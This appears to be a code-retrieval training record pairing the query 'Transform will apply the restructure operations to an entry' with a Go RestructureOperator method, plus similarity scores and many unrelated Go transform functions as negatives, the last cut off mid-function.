[ "0.6384579", "0.6335771", "0.6234825", "0.62329674", "0.61934924", "0.61463606", "0.61079985", "0.60678315", "0.5908155", "0.5799944", "0.5793537", "0.5787839", "0.57403576", "0.56640154", "0.559973", "0.5573707", "0.5491097", "0.5485287", "0.54783034", "0.54658824", "0.5447603", "0.54445404", "0.5407017", "0.5395348", "0.53756", "0.5363148", "0.53365266", "0.53285766", "0.5284379", "0.52650934", "0.526014", "0.5248235", "0.5242671", "0.52131206", "0.5200689", "0.5185722", "0.51783746", "0.51724714", "0.5157589", "0.51442504", "0.5140436", "0.51401937", "0.511819", "0.5115752", "0.5098552", "0.50766176", "0.506551", "0.50618565", "0.5059713", "0.50559616", "0.50258076", "0.5015439", "0.50057304", "0.50056267", "0.5003587", "0.5001995", "0.49954867", "0.49907985", "0.49780977", "0.49725217", "0.49664414", "0.49613795", "0.4959672", "0.4959505", "0.49487707", "0.49472553", "0.49279517", "0.4921589", "0.49132472", "0.49092373", "0.49086177", "0.49067712", "0.4901788", "0.49011013", "0.4898877", "0.48915422", "0.4889966", "0.48889178", "0.48716918", "0.48616022", "0.48611397", "0.48560032", "0.4851316", "0.48510557", "0.4849863", "0.4848148", "0.48389274", "0.4834381", "0.48254493", "0.48234114", "0.480933", "0.4797101", "0.47918317", "0.47887743", "0.47841275", "0.47835708", "0.47825214", "0.4781556", "0.4778552", "0.47779435" ]
0.83969265
0
Transform will apply the restructure operations to an entry
func (p *RestructureOperator) Transform(entry *entry.Entry) error { for _, op := range p.ops { err := op.Apply(entry) if err != nil { return err } } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p *RestructureOperator) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn p.ProcessWith(ctx, entry, p.Transform)\n}", "func (a anchoreClient) transform(fromType interface{}, toType interface{}) error {\n\tif err := mapstructure.Decode(fromType, toType); err != nil {\n\t\treturn errors.WrapIf(err, \"failed to unmarshal to 'toType' type\")\n\t}\n\n\treturn nil\n}", "func transform(c *gin.Context, data interface{}) interface{} {\n\tswitch reflect.TypeOf(data) {\n\t// Multiple\n\tcase reflect.TypeOf([]*models.Event{}):\n\t\treturn TransformEvents(c, data.([]*models.Event))\n\tcase reflect.TypeOf([]*models.Ticket{}):\n\t\treturn TransformTickets(c, data.([]*models.Ticket))\n\tcase reflect.TypeOf([]*models.Question{}):\n\t\treturn TransformQuestions(c, data.([]*models.Question))\n\tcase reflect.TypeOf([]*models.Attribute{}):\n\t\treturn TransformAttributes(c, data.([]*models.Attribute))\n\n\t\t// Single\n\tcase reflect.TypeOf(&models.Event{}):\n\t\treturn TransformEvent(c, data.(*models.Event))\n\tcase reflect.TypeOf(&models.Ticket{}):\n\t\treturn TransformTicket(c, data.(*models.Ticket))\n\tcase reflect.TypeOf(&models.Question{}):\n\t\treturn TransformQuestion(c, data.(*models.Question))\n\t}\n\n\treturn data\n}", "func pipelineTransform(arg *interface{}, container **[]interface{}) {\n\tswitch value := (*arg).(type) {\n\tcase []interface{}:\n\t\t*container = &value\n\tcase interface{}:\n\t\t*container = &[]interface{}{value}\n\tdefault:\n\t\t**container = nil\n\t}\n}", "func (s *StyleBuilder) Transform(transform func(StyleEntry) StyleEntry) *StyleBuilder {\n\ttypes := make(map[TokenType]struct{})\n\tfor tt := range s.entries {\n\t\ttypes[tt] = struct{}{}\n\t}\n\tif s.parent != nil {\n\t\tfor _, tt := range s.parent.Types() {\n\t\t\ttypes[tt] = struct{}{}\n\t\t}\n\t}\n\tfor tt := range types {\n\t\ts.AddEntry(tt, transform(s.Get(tt)))\n\t}\n\treturn s\n}", "func (h *CustomerHandler) Transform(id string, v interface{}) (interface{}, error) {\n\t// // We could convert the customer to a type with a different JSON marshaler,\n\t// // or perhaps return a res.ErrNotFound if a deleted flag is set.\n\t// return CustomerWithDifferentJSONMarshaler(v.(Customer)), nil\n\treturn v, nil\n}", "func (c *Patch) applyTransforms(input interface{}) (interface{}, error) {\n\tvar err error\n\tfor i, t := range c.Transforms {\n\t\tif input, err = t.Transform(input); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, errFmtTransformAtIndex, i)\n\t\t}\n\t}\n\treturn input, nil\n}", "func (g *GiteaASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\n\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\n\t\tif !entering {\n\t\t\treturn ast.WalkContinue, nil\n\t\t}\n\n\t\tswitch v := n.(type) {\n\t\tcase *ast.Image:\n\t\t\t// Images need two things:\n\t\t\t//\n\t\t\t// 1. Their src needs to munged to be a real value\n\t\t\t// 2. If they're not wrapped with a link they need a link wrapper\n\n\t\t\t// Check if the destination is a real link\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) {\n\t\t\t\tprefix := pc.Get(urlPrefixKey).(string)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tprefix = giteautil.URLJoin(prefix, \"wiki\", \"raw\")\n\t\t\t\t}\n\t\t\t\tprefix = strings.Replace(prefix, \"/src/\", \"/media/\", 1)\n\n\t\t\t\tlnk := string(link)\n\t\t\t\tlnk = giteautil.URLJoin(prefix, lnk)\n\t\t\t\tlnk = strings.Replace(lnk, \" \", \"+\", -1)\n\t\t\t\tlink = []byte(lnk)\n\t\t\t}\n\t\t\tv.Destination = link\n\n\t\t\tparent := n.Parent()\n\t\t\t// Create a link around image only if parent is not already a link\n\t\t\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\n\t\t\t\twrap := ast.NewLink()\n\t\t\t\twrap.Destination = link\n\t\t\t\twrap.Title = v.Title\n\t\t\t\tparent.ReplaceChild(parent, n, wrap)\n\t\t\t\twrap.AppendChild(wrap, n)\n\t\t\t}\n\t\tcase *ast.Link:\n\t\t\t// Links need their href to munged to be a real value\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) &&\n\t\t\t\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\n\t\t\t\t// special case: this is not a link, a hash link or a mailto:, so it's a\n\t\t\t\t// relative URL\n\t\t\t\tlnk := string(link)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tlnk = giteautil.URLJoin(\"wiki\", lnk)\n\t\t\t\t}\n\t\t\t\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\n\t\t\t}\n\t\t\tif len(link) > 0 && link[0] == '#' {\n\t\t\t\tlink = []byte(\"#user-content-\" + string(link)[1:])\n\t\t\t}\n\t\t\tv.Destination = link\n\t\t}\n\t\treturn ast.WalkContinue, nil\n\t})\n}", "func Transform(m string, d R) string {\n\tcleanLines := regexp.MustCompile(\"[\\\\n\\\\r\\\\t]+\")\n\t//KLUDGE: Salsa wants to see supporter.supporter_KEY/supporter.Email\n\t// in the conditions and included fields. However, the data is stored\n\t// simply as \"supporter_KEY\" or \"Email\"...\n\ti := strings.Index(m, \".\")\n\tif i != -1 {\n\t\tm = strings.Split(m, \".\")[1]\n\t}\n\ts, ok := d[m]\n\tif !ok {\n\t\ts = \"\"\n\t}\n\t//Transform fields as needed. This includes making pretty dates,\n\t//setting the Engage transaction type and putting Engage text into\n\t//Receive_Email.\n\tswitch m {\n\tcase \"Contact_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Contact_Due_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Date_Created\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Email\":\n\t\ts = strings.TrimSpace(strings.ToLower(s))\n\tcase \"End\":\n\t\ts = godig.EngageDate(s)\n\tcase \"First_Email_Time\":\n\t\ts = godig.EngageDate(s)\n\tcase \"last_click\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Last_Email_Time\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Last_Modified\":\n\t\ts = godig.EngageDate(s)\n\tcase \"last_open\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Receive_Email\":\n\t\tt := \"Unsubscribed\"\n\t\tx, err := strconv.ParseInt(s, 10, 32)\n\t\tif err == nil && x > 0 {\n\t\t\tt = \"Subscribed\"\n\t\t}\n\t\ts = t\n\tcase \"Start\":\n\t\ts = godig.EngageDate(s)\n\tcase \"State\":\n\t\ts = strings.ToUpper(s)\n\tcase \"Transaction_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Transaction_Type\":\n\t\tif s != \"Recurring\" {\n\t\t\ts = \"OneTime\"\n\t\t}\n\t}\n\t// Convert tabs to spaces. Remove leading/trailing spaces.\n\t// Remove any quotation marks.\n\t// Append the cleaned-up value to the output.\n\ts = strings.Replace(s, \"\\\"\", \"\", -1)\n\ts = cleanLines.ReplaceAllString(s, \" \")\n\ts = strings.TrimSpace(s)\n\treturn s\n}", "func (wc *watchChan) transform(e *event) (res *watch.Event) {\n\tcurObj, oldObj, err := wc.prepareObjs(e)\n\tif err != nil {\n\t\tlogrus.Errorf(\"failed to prepare current and previous objects: %v\", err)\n\t\twc.sendError(err)\n\t\treturn nil\n\t}\n\tswitch {\n\tcase e.isProgressNotify:\n\t\tobj := wc.watcher.newFunc()\n\t\t// todo: update object version\n\t\tres = &watch.Event{\n\t\t\tType: watch.Bookmark,\n\t\t\tObject: obj,\n\t\t}\n\tcase e.isDeleted:\n\t\tres = &watch.Event{\n\t\t\tType: watch.Deleted,\n\t\t\tObject: oldObj,\n\t\t}\n\tcase e.isCreated:\n\t\tres = &watch.Event{\n\t\t\tType: watch.Added,\n\t\t\tObject: curObj,\n\t\t}\n\tdefault:\n\t\t// TODO: emit ADDED if the modified object causes it to actually pass the filter but the previous one did not\n\t\tres = &watch.Event{\n\t\t\tType: watch.Modified,\n\t\t\tObject: curObj,\n\t\t}\n\t}\n\treturn res\n}", "func (s *Stream) Transform(op api.UnOperation) *Stream {\n\toperator := unary.New(s.ctx)\n\toperator.SetOperation(op)\n\ts.ops = append(s.ops, operator)\n\treturn s\n}", "func Transformation(r io.Reader) (transform.Transformation, error) {\n\tvar t transform.Transformation\n\tscanner := bufio.NewScanner(r)\n\tfor scanner.Scan() {\n\t\tname, args, err := split(scanner.Text())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar nt transform.Transformation\n\t\tswitch name {\n\t\tcase \"NoTransformation\":\n\t\t\tnt, err = noTransformation(args)\n\t\tcase \"LineReflection\":\n\t\t\tnt, err = lineReflection(args)\n\t\tcase \"Translation\":\n\t\t\tnt, err = translation(args)\n\t\tcase \"Rotation\":\n\t\t\tnt, err = rotation(args)\n\t\tcase \"GlideReflection\":\n\t\t\tnt, err = glideReflection(args)\n\t\t}\n\t\tif nt == nil {\n\t\t\treturn nil, ErrBadTransformation\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tt = transform.Compose(t, nt)\n\t}\n\tif scanner.Err() != nil {\n\t\treturn nil, scanner.Err()\n\t}\n\treturn t, nil\n}", "func (s *fseDecoder) transform(t []baseOffset) error {\n\ttableSize := uint16(1 << s.actualTableLog)\n\ts.maxBits = 0\n\tfor i, v := range s.dt[:tableSize] {\n\t\tadd := v.addBits()\n\t\tif int(add) >= len(t) {\n\t\t\treturn fmt.Errorf(\"invalid decoding table entry %d, symbol %d >= max (%d)\", i, v.addBits(), len(t))\n\t\t}\n\t\tlu := t[add]\n\t\tif lu.addBits > s.maxBits {\n\t\t\ts.maxBits = lu.addBits\n\t\t}\n\t\tv.setExt(lu.addBits, lu.baseLine)\n\t\ts.dt[i] = v\n\t}\n\treturn nil\n}", "func (r *Repository) Transform(from, to int) Func {\n\treturn Transform(r.Code(from), r.Code(to))\n}", "func ApplyTransform(s beam.Scope, input beam.PCollection) beam.PCollection {\n\treturn beam.ParDo(s, func(element Commit) (beam.EventTime, Commit) {\n\t\treturn mtime.FromTime(element.Datetime), element\n\t}, input)\n}", "func (t *GolangDockerfileGenerator) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\n\tpathMappings := []transformertypes.PathMapping{}\n\tartifactsCreated := []transformertypes.Artifact{}\n\tfor _, a := range newArtifacts {\n\t\tif a.Artifact != artifacts.ServiceArtifactType {\n\t\t\tcontinue\n\t\t}\n\t\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to convert source path %s to be relative : %s\", a.Paths[artifacts.ProjectPathPathType][0], err)\n\t\t}\n\t\tvar sConfig artifacts.ServiceConfig\n\t\terr = a.GetConfig(artifacts.ServiceConfigType, &sConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"unable to load config for Transformer into %T : %s\", sConfig, err)\n\t\t\tcontinue\n\t\t}\n\t\tsImageName := artifacts.ImageName{}\n\t\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", sImageName, err)\n\t\t}\n\t\tdata, err := ioutil.ReadFile(a.Paths[GolangModFilePathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Error while reading the go.mod file : %s\", err)\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\tmodFile, err := modfile.Parse(a.Paths[GolangModFilePathType][0], data, nil)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Error while parsing the go.mod file : %s\", err)\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\tif modFile.Go == nil {\n\t\t\tlogrus.Debugf(\"Didn't find the Go version in the go.mod file at path %s, selecting Go version %s\", a.Paths[GolangModFilePathType][0], t.GolangConfig.DefaultGoVersion)\n\t\t\tmodFile.Go.Version = t.GolangConfig.DefaultGoVersion\n\t\t}\n\t\tvar detectedPorts []int32\n\t\tdetectedPorts = append(detectedPorts, 8080) //TODO: Write parser to parse and identify port\n\t\tdetectedPorts = commonqa.GetPortsForService(detectedPorts, a.Name)\n\t\tvar golangConfig GolangTemplateConfig\n\t\tgolangConfig.AppName = a.Name\n\t\tgolangConfig.Ports = detectedPorts\n\t\tgolangConfig.GoVersion = modFile.Go.Version\n\n\t\tif sImageName.ImageName == \"\" {\n\t\t\tsImageName.ImageName = common.MakeStringContainerImageNameCompliant(sConfig.ServiceName)\n\t\t}\n\t\tpathMappings = append(pathMappings, transformertypes.PathMapping{\n\t\t\tType: transformertypes.SourcePathMappingType,\n\t\t\tDestPath: common.DefaultSourceDir,\n\t\t}, transformertypes.PathMapping{\n\t\t\tType: transformertypes.TemplatePathMappingType,\n\t\t\tSrcPath: filepath.Join(t.Env.Context, t.Config.Spec.TemplatesDir),\n\t\t\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\n\t\t\tTemplateConfig: golangConfig,\n\t\t})\n\t\tpaths := a.Paths\n\t\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \"Dockerfile\")}\n\t\tp := transformertypes.Artifact{\n\t\t\tName: sImageName.ImageName,\n\t\t\tArtifact: artifacts.DockerfileArtifactType,\n\t\t\tPaths: paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t},\n\t\t}\n\t\tdfs := transformertypes.Artifact{\n\t\t\tName: sConfig.ServiceName,\n\t\t\tArtifact: artifacts.DockerfileForServiceArtifactType,\n\t\t\tPaths: a.Paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t\tartifacts.ServiceConfigType: sConfig,\n\t\t\t},\n\t\t}\n\t\tartifactsCreated = append(artifactsCreated, p, dfs)\n\t}\n\treturn pathMappings, artifactsCreated, nil\n}", "func (t *JarAnalyser) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\n\tpathMappings := []transformertypes.PathMapping{}\n\tcreatedArtifacts := []transformertypes.Artifact{}\n\tfor _, a := range newArtifacts {\n\t\tvar sConfig artifacts.ServiceConfig\n\t\terr := a.GetConfig(artifacts.ServiceConfigType, &sConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"unable to load config for Transformer into %T : %s\", sConfig, err)\n\t\t\tcontinue\n\t\t}\n\t\tsImageName := artifacts.ImageName{}\n\t\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", sImageName, err)\n\t\t}\n\t\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to convert source path %s to be relative : %s\", a.Paths[artifacts.ProjectPathPathType][0], err)\n\t\t}\n\t\tjarRunDockerfile, err := ioutil.ReadFile(filepath.Join(t.Env.GetEnvironmentContext(), t.Env.RelTemplatesDir, \"Dockerfile.embedded\"))\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to read Dockerfile embedded template : %s\", err)\n\t\t}\n\t\tdockerfileBuildDockerfile := a.Paths[artifacts.BuildContainerFileType][0]\n\t\tbuildDockerfile, err := ioutil.ReadFile(dockerfileBuildDockerfile)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to read build Dockerfile template : %s\", err)\n\t\t}\n\t\ttempDir := filepath.Join(t.Env.TempPath, a.Name)\n\t\tos.MkdirAll(tempDir, common.DefaultDirectoryPermission)\n\t\tdockerfileTemplate := filepath.Join(tempDir, \"Dockerfile\")\n\t\ttemplate := string(buildDockerfile) + \"\\n\" + string(jarRunDockerfile)\n\t\terr = ioutil.WriteFile(dockerfileTemplate, []byte(template), common.DefaultFilePermission)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Could not write the generated Build Dockerfile template: %s\", err)\n\t\t}\n\t\tjarArtifactConfig := artifacts.JarArtifactConfig{}\n\t\terr = a.GetConfig(artifacts.JarConfigType, &jarArtifactConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", jarArtifactConfig, err)\n\t\t}\n\t\tif jarArtifactConfig.JavaVersion == \"\" {\n\t\t\tjarArtifactConfig.JavaVersion = t.JarConfig.JavaVersion\n\t\t}\n\t\tjavaPackage, err := getJavaPackage(filepath.Join(t.Env.GetEnvironmentContext(), \"mappings/javapackageversions.yaml\"), jarArtifactConfig.JavaVersion)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to find mapping version for java version %s : %s\", jarArtifactConfig.JavaVersion, err)\n\t\t\tjavaPackage = \"java-1.8.0-openjdk-devel\"\n\t\t}\n\t\tpathMappings = append(pathMappings, transformertypes.PathMapping{\n\t\t\tType: transformertypes.SourcePathMappingType,\n\t\t\tDestPath: common.DefaultSourceDir,\n\t\t}, transformertypes.PathMapping{\n\t\t\tType: transformertypes.TemplatePathMappingType,\n\t\t\tSrcPath: dockerfileTemplate,\n\t\t\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\n\t\t\tTemplateConfig: JarDockerfileTemplate{\n\t\t\t\tJavaVersion: jarArtifactConfig.JavaVersion,\n\t\t\t\tJavaPackageName: javaPackage,\n\t\t\t\tDeploymentFile: jarArtifactConfig.DeploymentFile,\n\t\t\t\tDeploymentFileDir: jarArtifactConfig.DeploymentFileDir,\n\t\t\t\tPort: \"8080\",\n\t\t\t\tPortConfigureEnvName: \"SERVER_PORT\",\n\t\t\t\tEnvVariables: jarArtifactConfig.EnvVariables,\n\t\t\t},\n\t\t})\n\t\tpaths := a.Paths\n\t\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \"Dockerfile\")}\n\t\tp := transformertypes.Artifact{\n\t\t\tName: sImageName.ImageName,\n\t\t\tArtifact: artifacts.DockerfileArtifactType,\n\t\t\tPaths: paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t},\n\t\t}\n\t\tdfs := transformertypes.Artifact{\n\t\t\tName: sConfig.ServiceName,\n\t\t\tArtifact: artifacts.DockerfileForServiceArtifactType,\n\t\t\tPaths: a.Paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t\tartifacts.ServiceConfigType: sConfig,\n\t\t\t},\n\t\t}\n\t\tcreatedArtifacts = append(createdArtifacts, p, dfs)\n\t}\n\treturn pathMappings, createdArtifacts, nil\n}", "func (coll *FeatureCollection) Transform(t Transformer) {\n\tfor _, feat := range *coll {\n\t\tfeat.Transform(t)\n\t}\n}", "func (e *With32FieldsFeatureTransformer) TransformInplace(dst []float64, s *With32Fields) {\n\tif s == nil || e == nil || len(dst) != e.NumFeatures() {\n\t\treturn\n\t}\n\tidx := 0\n\n\tdst[idx] = e.Name1.Transform(float64(s.Name1))\n\tidx++\n\n\tdst[idx] = e.Name2.Transform(float64(s.Name2))\n\tidx++\n\n\tdst[idx] = e.Name3.Transform(float64(s.Name3))\n\tidx++\n\n\tdst[idx] = e.Name4.Transform(float64(s.Name4))\n\tidx++\n\n\tdst[idx] = e.Name5.Transform(float64(s.Name5))\n\tidx++\n\n\tdst[idx] = e.Name6.Transform(float64(s.Name6))\n\tidx++\n\n\tdst[idx] = e.Name7.Transform(float64(s.Name7))\n\tidx++\n\n\tdst[idx] = e.Name8.Transform(float64(s.Name8))\n\tidx++\n\n\tdst[idx] = e.Name9.Transform(float64(s.Name9))\n\tidx++\n\n\tdst[idx] = e.Name10.Transform(float64(s.Name10))\n\tidx++\n\n\tdst[idx] = e.Name11.Transform(float64(s.Name11))\n\tidx++\n\n\tdst[idx] = e.Name12.Transform(float64(s.Name12))\n\tidx++\n\n\tdst[idx] = e.Name13.Transform(float64(s.Name13))\n\tidx++\n\n\tdst[idx] = e.Name14.Transform(float64(s.Name14))\n\tidx++\n\n\tdst[idx] = e.Name15.Transform(float64(s.Name15))\n\tidx++\n\n\tdst[idx] = e.Name16.Transform(float64(s.Name16))\n\tidx++\n\n\tdst[idx] = e.Name17.Transform(float64(s.Name17))\n\tidx++\n\n\tdst[idx] = e.Name18.Transform(float64(s.Name18))\n\tidx++\n\n\tdst[idx] = e.Name19.Transform(float64(s.Name19))\n\tidx++\n\n\tdst[idx] = e.Name21.Transform(float64(s.Name21))\n\tidx++\n\n\tdst[idx] = e.Name22.Transform(float64(s.Name22))\n\tidx++\n\n\tdst[idx] = e.Name23.Transform(float64(s.Name23))\n\tidx++\n\n\tdst[idx] = e.Name24.Transform(float64(s.Name24))\n\tidx++\n\n\tdst[idx] = e.Name25.Transform(float64(s.Name25))\n\tidx++\n\n\tdst[idx] = e.Name26.Transform(float64(s.Name26))\n\tidx++\n\n\tdst[idx] = e.Name27.Transform(float64(s.Name27))\n\tidx++\n\n\tdst[idx] = e.Name28.Transform(float64(s.Name28))\n\tidx++\n\n\tdst[idx] = e.Name29.Transform(float64(s.Name29))\n\tidx++\n\n\tdst[idx] = e.Name30.Transform(float64(s.Name30))\n\tidx++\n\n\tdst[idx] = e.Name31.Transform(float64(s.Name31))\n\tidx++\n\n\tdst[idx] = e.Name32.Transform(float64(s.Name32))\n\tidx++\n\n}", "func Transform(t Text, transformer string) Text {\n\tf := FindTransformer(transformer)\n\tif f == nil {\n\t\treturn t\n\t}\n\tt = t.Clone()\n\tfor _, seg := range t {\n\t\tf(seg)\n\t}\n\treturn t\n}", "func transformPlugin(dst *engine.Step, src *yaml.Container, _ *config.Config) {\n\tif dst.Environment == nil {\n\t\tdst.Environment = map[string]string{}\n\t}\n\tparamsToEnv(src.Vargs, dst.Environment)\n}", "func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}", "func (e RegistriesExtraction) Transform() (Output, error) {\n\tlogrus.Info(\"RegistriesTransform::Extraction\")\n\tvar manifests []Manifest\n\n\tconst (\n\t\tapiVersion = \"config.openshift.io/v1\"\n\t\tkind = \"Image\"\n\t\tname = \"cluster\"\n\t\tannokey = \"release.openshift.io/create-only\"\n\t\tannoval = \"true\"\n\t)\n\n\tvar imageCR ImageCR\n\timageCR.APIVersion = apiVersion\n\timageCR.Kind = kind\n\timageCR.Metadata.Name = name\n\timageCR.Metadata.Annotations = make(map[string]string)\n\timageCR.Metadata.Annotations[annokey] = annoval\n\timageCR.Spec.RegistrySources.BlockedRegistries = e.Registries[\"block\"].List\n\timageCR.Spec.RegistrySources.InsecureRegistries = e.Registries[\"insecure\"].List\n\n\timageCRYAML, err := yaml.Marshal(&imageCR)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := Manifest{Name: \"100_CPMA-cluster-config-registries.yaml\", CRD: imageCRYAML}\n\tmanifests = append(manifests, manifest)\n\n\treturn ManifestOutput{\n\t\tManifests: manifests,\n\t}, nil\n}", "func transformIndex(n *ir.IndexExpr) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tn.X = implicitstar(n.X)\n\tl := n.X\n\tt := l.Type()\n\tif t.Kind() == types.TMAP {\n\t\tn.Index = assignconvfn(n.Index, t.Key())\n\t\tn.SetOp(ir.OINDEXMAP)\n\t\t// Set type to just the map value, not (value, bool). This is\n\t\t// different from types2, but fits the later stages of the\n\t\t// compiler better.\n\t\tn.SetType(t.Elem())\n\t\tn.Assigned = false\n\t}\n}", "func (rv *RefVarTransformer) Transform(m resmap.ResMap) error {\n\trv.replacementCounts = make(map[string]int)\n\trv.mappingFunc = expansion.MappingFuncFor(\n\t\trv.replacementCounts, rv.varMap)\n\tfor id, res := range m {\n\t\tfor _, fieldSpec := range rv.fieldSpecs {\n\t\t\tif id.Gvk().IsSelected(&fieldSpec.Gvk) {\n\t\t\t\tif err := mutateField(\n\t\t\t\t\tres.Map(), fieldSpec.PathSlice(),\n\t\t\t\t\tfalse, rv.replaceVars); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (ss Set) Transform(fn func(string) string) {\n\tfor k, v := range ss {\n\t\tnk := fn(k)\n\t\tif nk != k {\n\t\t\tdelete(ss, k)\n\t\t\tss[nk] = v\n\t\t}\n\t}\n}", "func Transform(deployment *appsv1.Deployment) *appsv1.Deployment {\n\treturn &appsv1.Deployment{\n\t\tObjectMeta: metadata.TransformObjectMeta(deployment.ObjectMeta),\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tReplicas: deployment.Spec.Replicas,\n\t\t},\n\t\tStatus: appsv1.DeploymentStatus{\n\t\t\tAvailableReplicas: deployment.Status.AvailableReplicas,\n\t\t},\n\t}\n}", "func transformArgs(n ir.InitNode) {\n\tvar list []ir.Node\n\tswitch n := n.(type) {\n\tdefault:\n\t\tbase.Fatalf(\"transformArgs %+v\", n.Op())\n\tcase *ir.CallExpr:\n\t\tlist = n.Args\n\t\tif n.IsDDD {\n\t\t\treturn\n\t\t}\n\tcase *ir.ReturnStmt:\n\t\tlist = n.Results\n\t}\n\tif len(list) != 1 {\n\t\treturn\n\t}\n\n\tt := list[0].Type()\n\tif t == nil || !t.IsFuncArgStruct() {\n\t\treturn\n\t}\n\n\t// Save n as n.Orig for fmt.go.\n\tif ir.Orig(n) == n {\n\t\tn.(ir.OrigNode).SetOrig(ir.SepCopy(n))\n\t}\n\n\t// Rewrite f(g()) into t1, t2, ... = g(); f(t1, t2, ...).\n\ttypecheck.RewriteMultiValueCall(n, list[0])\n}", "func (EditMultisigResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.EditMultisigData)\n\n\tresource := EditMultisigResource{\n\t\tAddresses: data.Addresses,\n\t\tThreshold: strconv.Itoa(int(data.Threshold)),\n\t}\n\n\tresource.Weights = make([]string, 0, len(data.Weights))\n\tfor _, weight := range data.Weights {\n\t\tresource.Weights = append(resource.Weights, strconv.Itoa(int(weight)))\n\t}\n\n\treturn resource\n}", "func (t *Transformer) Transform(logRecord *InputRecord, recType string, tzShiftMin int, anonymousUsers []int) (*OutputRecord, error) {\n\tuserID := -1\n\n\tr := &OutputRecord{\n\t\tType: recType,\n\t\ttime: logRecord.GetTime(),\n\t\tDatetime: logRecord.GetTime().Add(time.Minute * time.Duration(tzShiftMin)).Format(time.RFC3339),\n\t\tIPAddress: logRecord.Request.RemoteAddr,\n\t\tUserAgent: logRecord.Request.HTTPUserAgent,\n\t\tIsAnonymous: userID == -1 || conversion.UserBelongsToList(userID, anonymousUsers),\n\t\tIsQuery: false,\n\t\tUserID: strconv.Itoa(userID),\n\t\tAction: logRecord.Action,\n\t\tPath: logRecord.Path,\n\t\tProcTime: logRecord.ProcTime,\n\t\tParams: logRecord.Params,\n\t}\n\tr.ID = createID(r)\n\tif t.prevReqs.ContainsSimilar(r) && r.Action == \"overlay\" ||\n\t\t!t.prevReqs.ContainsSimilar(r) && r.Action == \"text\" {\n\t\tr.IsQuery = true\n\t}\n\tt.prevReqs.AddItem(r)\n\treturn r, nil\n}", "func TransformException(ex *Exception, store *SourceMapStore) *Exception {\n\tif ex.Stacktrace == nil {\n\t\treturn ex\n\t}\n\tframes := []Frame{}\n\n\tfor _, frame := range ex.Stacktrace.Frames {\n\t\tframe := frame\n\t\tmappedFrame, err := store.resolveSourceLocation(frame)\n\t\tif err != nil {\n\t\t\tframes = append(frames, frame)\n\t\t} else if mappedFrame != nil {\n\t\t\tframes = append(frames, *mappedFrame)\n\t\t} else {\n\t\t\tframes = append(frames, 